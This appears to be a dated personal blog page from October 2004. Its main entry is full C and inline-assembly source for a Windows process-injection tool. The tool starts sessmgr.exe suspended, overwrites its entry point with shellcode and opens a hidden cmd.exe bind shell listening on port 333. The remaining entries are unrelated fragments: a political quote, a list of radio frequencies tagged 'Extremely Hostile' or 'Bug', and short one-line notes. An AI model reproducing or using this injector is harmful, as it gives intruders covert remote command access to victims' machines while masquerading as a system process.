16.10.04 port 333 x2
#include <windows.h>
#include <winsock.h>
#include <stdlib.h>
#include <stdio.h>
#include <winsock.h>

void setfp(char *buffer,int sz,DWORD from,DWORD fp)
{
int i;
for(i=0;i<sz-5;i++)
if (buffer[i]=='\xb8'&&*(DWORD*)(buffer+i+1)==from)
{*(DWORD*)(buffer+i+1)=fp;break;}
}

int injcode(char *buffer)
{
HMODULE ws2_32;
DWORD _loadlibrarya,_createprocessa,_wsastartup,_wsasocketa,_bind,_listen,_accept,_sleep;
char *code;
int len;
ws2_32=LoadLibrary("ws2_32");
_loadlibrarya=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"LoadLibraryA");
_createprocessa=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"CreateProcessA");
_sleep=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"Sleep");
_wsastartup=(DWORD)GetProcAddress(ws2_32,"WSAStartup");
_wsasocketa=(DWORD)GetProcAddress(ws2_32,"WSASocketA");
_bind=(DWORD)GetProcAddress(ws2_32,"bind");
_listen=(DWORD)GetProcAddress(ws2_32,"listen");
_accept=(DWORD)GetProcAddress(ws2_32,"accept");

__asm
{
call over

push '23'
push '_2sw'
push esp
mov eax,0x11111111
call eax

xor ebx,ebx
push 0x64
pop ecx
wsadata:
push ebx
loop wsadata
push esp
push 0x101
mov eax,0x33333333
call eax

push ebx
push ebx
push ebx
push ebx
push SOCK_STREAM
push AF_INET
mov eax,0x44444444
call eax
mov esi,eax

push ebx
push ebx
push ebx
push 0x4D010002 /*port 333*/
mov eax,esp
push 0x10
push eax
push esi
mov eax,0x55555555
call eax

push SOMAXCONN
push esi
mov eax,0x66666666
call eax

push ebx
push ebx
push esi
mov eax,0x77777777
call eax
mov edi,eax

push ebx
push ebx
push ebx
push ebx
mov eax,esp
push edi
push edi
push edi
push ebx
push SW_HIDE
push STARTF_USESTDHANDLES
push 0xA
pop ecx
startupinfo:
push ebx
loop startupinfo
push 0x44
mov ecx,esp
push 'dmc'
mov edx, esp

push eax
push ecx
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
push edx
push ebx
mov eax,0x22222222
call eax

push INFINITE
mov eax,0x88888888
call eax

over:
pop eax
mov code,eax
}

len=0xA0;
memcpy(buffer,code,len);
setfp(buffer,len,0x11111111,_loadlibrarya);
setfp(buffer,len,0x22222222,_createprocessa);
setfp(buffer,len,0x33333333,_wsastartup);
setfp(buffer,len,0x44444444,_wsasocketa);
setfp(buffer,len,0x55555555,_bind);
setfp(buffer,len,0x66666666,_listen);
setfp(buffer,len,0x77777777,_accept);
setfp(buffer,len,0x88888888,_sleep);

return len;
}

void main(void)
{
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
CONTEXT context;
LDT_ENTRY sel;
DWORD read,tib,peb,exebase,peoffs,ep;
IMAGE_NT_HEADERS pehdr;
int len;
char sessmgr[MAX_PATH+13];
char buffer[2048];

GetSystemDirectory(sessmgr,MAX_PATH);
sessmgr[MAX_PATH]=0;
strcat(sessmgr,"\\sessmgr.exe");
memset(&sinfo,0,sizeof(sinfo));
sinfo.cb=sizeof(sinfo);

if (!CreateProcess(sessmgr,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&sinfo,&pinfo))
printf("createprocess failed"), exit(1);

context.ContextFlags=CONTEXT_FULL;
GetThreadContext(pinfo.hThread,&context);
GetThreadSelectorEntry(pinfo.hThread,context.SegFs,&sel);
tib=sel.BaseLow|(sel.HighWord.Bytes.BaseMid<<16)|(sel.HighWord.Bytes.BaseHi<<24);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(tib+0x30),&peb,4,&read);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(peb+0x08),&exebase,4,&read);

ReadProcessMemory(pinfo.hProcess,(LPCVOID)(exebase+0x3C),&peoffs,4,&read);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(exebase+peoffs),&pehdr,sizeof(pehdr),&read);
ep=exebase+pehdr.OptionalHeader.AddressOfEntryPoint;

len=injcode(buffer);
VirtualProtect((LPVOID)ep,len,PAGE_EXECUTE_READWRITE,&read);
WriteProcessMemory(pinfo.hProcess,(LPVOID)ep,buffer,len,&read);

ResumeThread(pinfo.hThread);
}

01:02


14.10.04 "...as for whether we really do have a Milli Vanilli president, the answer at this point has to be, God only knows"

169.4450 - Extremely Hostile 169.5050 - Extremely Hostile 169.9320 169.9500 169.9904 170.0000 170.1000 - Violet 170.2400 170.2450 - Extremely Hostile 170.3000 170.3050 - Extremely Hostile 170.4875 - Lime 170.6000 170.9750 - Extremely Hostile 171.0450 - Extremely Hostile 171.0500 171.1050 - Extremely Hostile 171.1100 171.4500 - Bug 1 171.6000 - Bug 2 171.8182 171.8250 - Bug 3 171.8450 - Extremely Hostile 171.9000 171.9050 - Extremely Hostile 172.0000 - Bug 4 172.2000 - Bug 5 172.8875 - Gold 172.8875 - Yellow 173.2250 173.2375 173.2450 173.3125 173.3500 - Extremely Hostile

175.0000 175.0200 - Extremely Hostile 175.3977 175.8000 176.0000 176.2800 176.7360 176.9472 177.0000 177.3200 177.3447 177.6000 177.8000 178.0750 178.4000 178.4500 178.9773 179.0000 179.3500 180.0000 180.6000 180.6750 180.8000 181.0000 181.2000 181.5750 181.6000 181.9500 182.5568 183.6000 183.8000 184.3200 184.3718 184.4000 184.8500 - Extremely Hostile

03:22


13.10.04 security hazards PERMANENTLY

01:01


11.10.04
"tout est mort & noir" j.k.
04:11

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